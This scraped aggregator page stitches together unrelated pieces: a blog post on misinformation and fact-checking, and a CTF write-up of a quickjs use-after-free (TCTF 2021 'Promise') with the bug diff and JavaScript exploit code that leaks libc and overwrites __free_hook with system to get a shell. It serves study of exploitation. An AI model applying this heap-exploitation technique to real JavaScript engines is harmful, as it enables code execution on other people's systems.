Aggregator
对网络安全行业的信心不变
数据库利用 看这篇就好了
CodeQL将XML文件包含到CodeQL数据库
JVM字节码学习笔记——class 文件结构
红蓝对抗之隐蔽通信应用及防御
The Era of Misinformation
This post is licensed under CC BY-SA 4.0.
“Falsehood flies, and the truth comes limping after it.”
– – Mark Twain, “The Examiner”
The world entered the information age after computers and the Internet was born. Before the modern information highway was built, ordinary people used to have to rely on media such as news papers to obtain information. The birth of Internet enabled individuals to publish and propagate information, which was a great boost to creativity.
However, we may have already entered the era of misinformation. The quote above closely resembles how information propagates today, except Mark Twain never said that, but Jonathan Swift. If you believed Mark Twain ever said that, it only proves the point further.
I would like to attempt to summarize, in this blog post, what misinformation is, why it is harmful, and how to keep yourself afloat in the sea of misinformation. The more that understand misinformation, the less it propagates, and the less harm it causes.
Mis-, Dis-, and MalinformationMisinformation is a vague term. It mostly means “untruthful information.” However, as more misinformation surfaces, there emerges a need to further classify them to better understand this concept. First Draft, a media that focuses on the topic of misinformation, categorizes misinformation into three categories: misinformation, disinformation, and malinformation. For simplicity’s sake, I will refer to all three of them collectively as misinformation.
Figure 1: Differences between misinformation, disinformation, and malinformation (reference)
First Draft also identifies seven types of misinformation based on the misinformation’s degree of malintent and percentage of false information.
Figure 2: Types of mis-, dis-, and malinformation (reference)
Nothing needs to be addressed if there are no issues. Why is misinformation bad for us then?
Because knowing the truth matters.
Knowing the truth empowers us to make the best choices for ourselves and for the society. On the contrary, the propagation of misinformation would often benefit only a small quadrant of people. You might find the workable ethical theories helpful in analyzing this kind of questions.
A study conducted by MIT shows that Tweets with misinformation propagate at a speed of 600% and is 70% more likely to get retweeted as compared to Tweets with genuine information. Contents with misinformation generate a lot of activities and traffic on social media platforms and attract users. As businesses, they have no reason to spontaneously take down what is financially beneficial for them.
Figure 3: Information propagation comparison (reference)
Sometimes misinformation passes us by harmlessly, sometimes they cause dire consequences. A great recent example is the misleading reports of Ivermectin’s effectiveness on Covid-19 for humans have resulted in the public injecting high-doses of Ivermectin in the hope of becoming immune against Covid-19.
Figure 4: A news report from early 2020 saying that Ivermectin kills Covid-19 viruses (source)
This report did NOT make it clear that, while Ivermectin kills Covid-19 in Petri dishes, it is not proven safe for humans. People died after overdosing Ivermectin, believing that it could cure Covid-19. Pouring bleach into the Petri dish would also kill the viruses, but that doesn’t mean you should drink bleach. You could image how such misinformation could also lead to political turmoil or other problems.
Figure 5: xkcd comic, “Cells” (CC BY-NC 2.5)
Eventually, the FDA published an article to debunk the rumours, but people are still believing the rumours. Why?
1. Cognitive BiasesWe all have cognitive biases, i.e., inherent brain “defects” which all humans have that hinder us from making perfectly sane and logical judgments. We have a lot of them too. You can take a look at some of the most common cognitive biases here.
Figure 6: The cognitive bias codex (CC BY-SA 4.0)
There are way too many to list, so here are some of the common ones that I think have a lot to do with misinformation.
- Stereotyping: People tend to have a generalized assumption about a particular group of people.
- A report about Germans suceeding something is more likely to be believed than a report about the Germans screwing something up, because “Germans are rigorous.”
- Confirmation Bias: People tend to selectively gather only evidence that support what they already believe, disregarding conflicting information.
- When you already firmly believe that Ivermectin will treat Covid-19, you might Google for articles that will support and reinforce your opinion rather than those that contradicts your beliefs. However, what you find may just be more misinformation.
- Bandwagon Effect: People tend to follow the crowd and do what others are doing.
- “All the news media are reporting that, so that must be true.”
- “They’re all doing it, so I probably should, too.”
- Reactive Devaluation: People tend to automatically devaluate their adversary’s opinions.
- A strong supporter of the Democrats may automatically view all policies that the Republicans make deterimental, without actually understanding it.
The cognitive biases that I have listed here are merely the tip of the iceberg. You can start here if you would like to learn more.
2. Rhetological FallaciesRhetological is a word that means rhetorical and logical. Rhetological fallacies means rhetorical techniques and logical fallacies. Rhetological fallacies are what can be used to exploit our cognitive biases or simply fool us, leading us to draw illogical conclusions.
For example, the definition of “Circular Logic” is “a conclusion is derived from a premise based on the conclusion.” For instance, some people would argue that privacy only matters to those that have something to hide, so you must be trying to hide something if you want privacy.
There are currently 54 rhetological fallacies identified by David McCandless. Take a look at their beautiful website to see all of them. It is important to be aware of these fallacies so you can identify them when you see them.
Figure 7: Rhetological Fallacies (source)
A Stanford research paper finds that professional fact checkers are a lot better at distinguishing genuine information from misinformation than historians and students. Chances are, you suck at verifying too.
Figure 8: Fact-checking success rate between professional fact-checkers, historians, and students
If you do not want to read the whole paper thoroughly, here are some of the important takeaways.
Figure 9: Fact check tips from Stanford’s research (reference)
Fact checking is not an easy task. There is a lot learning to do if you want to fact check efficiently and accurately. Fortunately, there are a lot of materials out there around this topic. First Draft’s Verifying Online Information is an excellent comprehensive guide that you can start with.
The Solution: Trust, But VerifyThe purpose of this blog post is not to tell you that the Internet is full of lies and that you shouldn’t take a word from it. Rather, it is to educate you about one of the many dangers you might face when you’re on it.
First Draft’s Verifying Online Information guide lists five fundamental steps you should follow to fact check online information. First Draft calls these five steps the “five pillars of verification.”
- Provenance
- Check if the content is original and authentic
- Source
- Check if the content’s source is contaminated
- Date
- Check the time the content is created/shared
- Location
- Check the location where the account is established, the website is created, or the content is captured
- Motivation
- Check why was the account established, the website created, or the content captured.
- Who would be advantaged by this content? Who would be disadvantaged?
You might have noticed that this post has mentioned First Draft’s Verifying Online Information for more than once. This is because this guide is of good quality. You should definitely check it out if you want to learn more about fact checking.
Helpful Verification ToolsBelow are a few of my personal recommended tools that may help you to fact check. There are a lot more tools you can use to fact check out there. Take a look at First Draft’s Toolbox for even more tools you can use.
1. Search EnginesAs Stanford’s research paper has suggested, it is important to take bearings and read laterally when you are not sure if a piece of information is genuine. You can use search engines to look up if any other credible sources have published information on the same topic.
2. Manipulated Content IdentifierDis- and malinformation contain manipulated or fabricated contents. A quick Google reverse image search may help you to determine whether an images has been PhotoShopped. A course by Reuters News Agency will teach you how to identify manipulated media. There are also automated tools like the Fake News Debunker that may come in handy.
3. Fact Checking WebsitesA lot of news agencies or organizations host sites that regularly debunk recent rumours. Below are a few of the sites you can go to depending on your region.
4. Google’s Fact Check ExplorerYou can fact check using Google’s Fact Check Explorer. Simply enter the question and it will show you a full list of relevant sources and whether they support a claim. Be careful not to overrely on such automated tools. It is still important to read laterally manually.
5. First Draft’s Verification ToolboxFirst Draft has created a Verification Toolbox to simplify and streamline the verification process for beginners. You can use this toolbox to look up a wide variety of types of information.
Conclusions- Misinformation is everywhere, in many forms, and with many types.
- Misinformation is bad for you and the society.
- People trust/like misinformation due to their cognitive biases. You do, too.
- Become aware of the existence of misinformation and try to avoid believing it.
- Untrained individuals can hardly identify news. You need to learn how.
- There are lots of tools and techniques you can use to make fact checking easier.
I hope you found this post useful. Feel free to comment below or contact me if you think any of the information in this post is inaccurate or missing.
- https://k4yt3x.com/the-era-of-misinformation/ - 2019-2024 K4YT3X. All rights reserved.CodeQL检测SpringBoot应用敏感信息的返回
TCTF 2021 Promise
Last weekend we have participated TCTF 2021 Final and got 2nd place! Congratulation! I solved 3 challenges: Secure JIT 2, Promise and krop. Among these, I think Promise is quite worthy to do a full writeup.
0x00 OverviewIn this challenge, we need to exploit quickjs engine, which is a lightweight JavaScript engine, and this is actually my first time to exploit this engine. The vulnerability we need to exploit is that when variable is copied to promise result, the reference counter is not incremented, so that use-after-free problem can be triggered. We trigger such UAF using ArrayBuffer instance so that we can manipulate baking storage of ArrayBuffer after it is freed. We utilize this to leak libc address and to rewrite backing store pointer of another TypedArray to achieve arbitrary write that rewrites __free_hook to system to get the shell.
0x01 PrerequisiteBefore entering into the challenge, I may need to introduce some basic knowledges about quickjs that are required to solve this challenge.
Variable RepresentationIn JavaScript we have many types of variables, such as integer, object, array and built-in object(e.i. ArrayBuffer). The JavaScript engine needs to represent these variables in some way. In quickjs, every variable is represented as a JSValue:
// quickjs.h typedef union JSValueUnion { int32_t int32; double float64; void *ptr; } JSValueUnion; typedef struct JSValue { JSValueUnion u; // union that stores *content* of this variable int64_t tag; // tag is used to tell how to interpret `u`, // which stores information about *type* of this variable } JSValue; #define JSValueConst JSValueThe tag can be one of the following values, some parts of the enum are omitted for simplicity:
// quickjs.h enum { /* all tags with a reference count are negative */ // omited for simplicity.... JS_TAG_OBJECT = -1, JS_TAG_INT = 0, JS_TAG_BOOL = 1, JS_TAG_NULL = 2, JS_TAG_UNDEFINED = 3, // omited for simplicity.... /* any larger tag is FLOAT64 if JS_NAN_BOXING */ };What we need to know is that the sign here is used to tell whether this variable has a reference count: all tags with a reference count are negative. In other word, negative tag means that this variable is managed by heap and positive tag means that it is not managed by heap.
When tag is JS_TAG_OBJECT, ptr field of JSValueUnion is used, and this ptr points to a JSObject structure, which is defined in quickjs.c. All objects in quickjs, including built-in objects like ArrayBuffer, are represented in this way. The first 32 bits of JSObject are always reference count.
DebugTo build the debug version of binary, we can modify BUILDTYPE?=Release to BUILDTYPE?=Debug in Makefile and build according to this.
To look at how specific variable is stored in memory, we have a simple approach: set a breakpoint at function js_math_min_max or quickjs.c:41563, and call Math.min(v) to trigger the breakpoint, because js_math_min_max is the handler for Math.min. Then by inspecting memory layout of JSValueConst *argv or register r8, we can inspect memory representation of variable v.
Garbage CollectionAs we see, the garbage collection of quickjs is managed by reference counting, and the object instance will be freed if the reference counting becomes zero. Here is an example illustrating this:
let o = [0x1337]; Math.min(o); // `x/wx argv->u.ptr`: ref_count == 2 // and we can also set breakpoint: // `tb free if $rdi==[address shown above]` // to see when this chunk will be freed let v = o; Math.min(o); // ref_count == 3 o = undefined; Math.min(v); // ref_count == 2 v = undefined; // breakpoint on free is triggered here // before "Finish" is printed console.log("Finish");One thing that I don’t quite understand is that when we look at ref_count using Math.min approach, it is always one more than the current number of JavaScript variables that point to the object. I would guess there is also an internal reference that contributes to such one more reference count. This problem actually got me stuck for quite long time. Nonetheless, the object will still be freed when number of variables referencing to it decreases to zero, so we can just deem the actual reference count as ref_count - 1.
0x02 VulnerabilityThe diff is applied to commit 0a533445f256fb3a628371e24705d3a2532f60f1.
diff --git a/deps/quickjs/src/quickjs.c b/deps/quickjs/src/quickjs.c index a39ff8f..c0a42b2 100644 --- a/deps/quickjs/src/quickjs.c +++ b/deps/quickjs/src/quickjs.c @@ -46175,7 +46175,7 @@ static void fulfill_or_reject_promise(JSContext *ctx, JSValueConst promise, if (!s || s->promise_state != JS_PROMISE_PENDING) return; /* should never happen */ - set_value(ctx, &s->promise_result, JS_DupValue(ctx, value)); + set_value(ctx, &s->promise_result, value); s->promise_state = JS_PROMISE_FULFILLED + is_reject; #ifdef DUMP_PROMISE printf("fulfill_or_reject_promise: is_reject=%d\n", is_reject);As we can see, JS_DupValue is just to increment ref_count when the variable has reference count (e.i. tag is negative):
static inline JSValue JS_DupValue(JSContext *ctx, JSValueConst v) { if (JS_VALUE_HAS_REF_COUNT(v)) { JSRefCountHeader *p = (JSRefCountHeader *)JS_VALUE_GET_PTR(v); p->ref_count++; } return (JSValue)v; }Therefore, ref_count that should have been incremented is not incremented when the value is copied to promise result, so the object will be freed when there is still one variable referencing to it, leading to UAF vulnerability.
JavaScript PromiseFor more information about Promise in JavaScript, you can read this. One thing to note is that handler of Promise is executed after main code execution finishes, but they can still share all global variables.
0x03 Exploitation Triggering UAFIt is quite easy to trigger the vulnerability: we just need to pass an object to promise result.
function f(a) { Math.min(a) console.log("Resolve2"); } let arr = new ArrayBuffer(0x500); function main() { let p = new Promise((resolve, reject) => { console.log("Promise Init"); resolve(arr); // pass `arr` as promise result }); p.then(f); // set callback handler } main(); console.log("Finish Main");The execution result is shown below, although the assertion failure is not necessarily triggered all the time:
Promise Init Finish Main Resolve2 tjs: txiki.js/deps/quickjs/src/quickjs.c:5660: gc_decref_child: Assertion `p->ref_count > 0' failed. Aborted (core dumped)If we inspect reference counter at Math.min(a), we find that ref_count is 3. This is quite weird, because we expect a does not contribute to any reference count due to the bug, and there is only arr referencing to the object so the ref_count should be 2. I would guess there might be some internal reference inside Promise mechanism that is causing such one more ref_count.
What we want is actually 2 variables referencing to the same object but ref_count is one less than it should be (e.i. ref_count == 2). Therefore, setting one of them to undefined can cause the other variable to be UAF. However, the situation described above cannot satisfy this requirement. This actually got me stuck for quite long time.
Considering possible internal reference inside Promise mechanism mentioned above, I was thinking if such internal reference would disappear once this promise handler finishes. The idea is to copy the arr variable into another global variable arr2, and to start another promise handler but this time we pass a variable without reference count, so the bug would not be triggered. Inside this new handler, if we look at ref_count of arr, it becomes 2; and if we set arr to undefined, another global variable arr2 will become UAF!
function f2() { console.log("Resolve3"); Math.min(arr2); // ref_count == 2 arr = undefined; Math.min(arr2); // UAF can be triggered } let arr2; function f(a) { console.log("Resolve2"); arr2 = arr; // increment number of variables referecing to it let p = new Promise((resolve, reject) => { console.log("Promise2 Init"); resolve(0); }); p.then(f2); } // main function is same as above, thus omitted... Exploiting UAFAs we have already shown in the code above, we use ArrayBuffer with large size (so that its backing store does not fit into tcache bins) as the object to trigger UAF. The primary idea is using TypedArray. Instead of storing one reference to ArrayBuffer directly using global variable, we store it inside a TypedArray global variable. Therefore, after the ArrayBuffer is freed, we can still access the freed backing store of ArrayBuffer using TypedArray; this enables us to leak and rewrites the pointers.
However, this sometimes causes a problem: when we access the freed ArrayBuffer backing store using TypedArray, TypedArray will check whether the ArrayBuffer is detached, and this causes a crash because original JSObject of ArrayBuffer is already freed. The idea is to allocate some ArrayBuffer again to fill that freed JSObject of ArrayBuffer so that we can pass this check.
Finally, we need to look at the freed backing store memory inside gdb to see what we can read and write. How do we find the backing store pointer of freed ArrayBuffer using TypedArray? You can do this by reading source code but I would say the easiest approach is to set first few bytes of the buffer to some magic number like 0x13371337, and use tel in gdb to find the which pointer is pointing to such magic bytes. It turns out that this works very well.
By inspecting freed backing store memory in gdb, we find that we can leak libc address. This is great! As for the arbitrary write primitive, we can also allocate some new TypedArrays whose backing store pointers can be stored in the freed backing store memory, so that we can also rewrite this pointer to achieve arbitrary write. Using this we can rewrites __free_hook to system to get the shell. Part of the exploit is shown below:
const abs = []; a1 = undefined; for (let i = 0; i < 8; i++) { abs.push(new ArrayBuffer(8)); // allocate some new `ArrayBuffer` to // prevent crash when checking detechment } const tas = []; for (let i = 0; i < 8; i++) { const ta = new Uint32Array(abs[i]); // we also use these `ArrayBuffer` to create `TypedArray` ta[0] = 1852400175; ta[1] = 6845231; // set first 8 bytes to "/bin/sh" tas.push(ta); } const libc_addr = a0[0x170/4] + a0[0x170/4+1] * 0x100000000 - 0x3ebca0 console.log(hex(libc_addr)); // leak libc address a0[0x1d8/4] = (libc_addr + 0x3ed8e8) % 0x100000000; a0[0x1d8/4 + 1] = ((libc_addr + 0x3ed8e8) - a0[0x1d8/4]) / 0x100000000; // set backing store of `TypedArray` to `__free_hook` tas[0][0] = (libc_addr + 0x4f550) % 0x100000000; tas[0][1] = ((libc_addr + 0x4f550) - tas[0][0]) / 0x100000000; // __free_hook = systemAn interesting point to note is that even comment can change heap layout of the freed backing store of ArrayBuffer, so this is the reason why I choose to put comment in writeup instead of in original exploit, which is here.
0x04 ConclusionThis is quite an interesting and hard challenge, we got 2nd blood and there are 3 solves eventually, and I have learned a lot about quickjs in this challenge. Thanks for the author for making this challenge.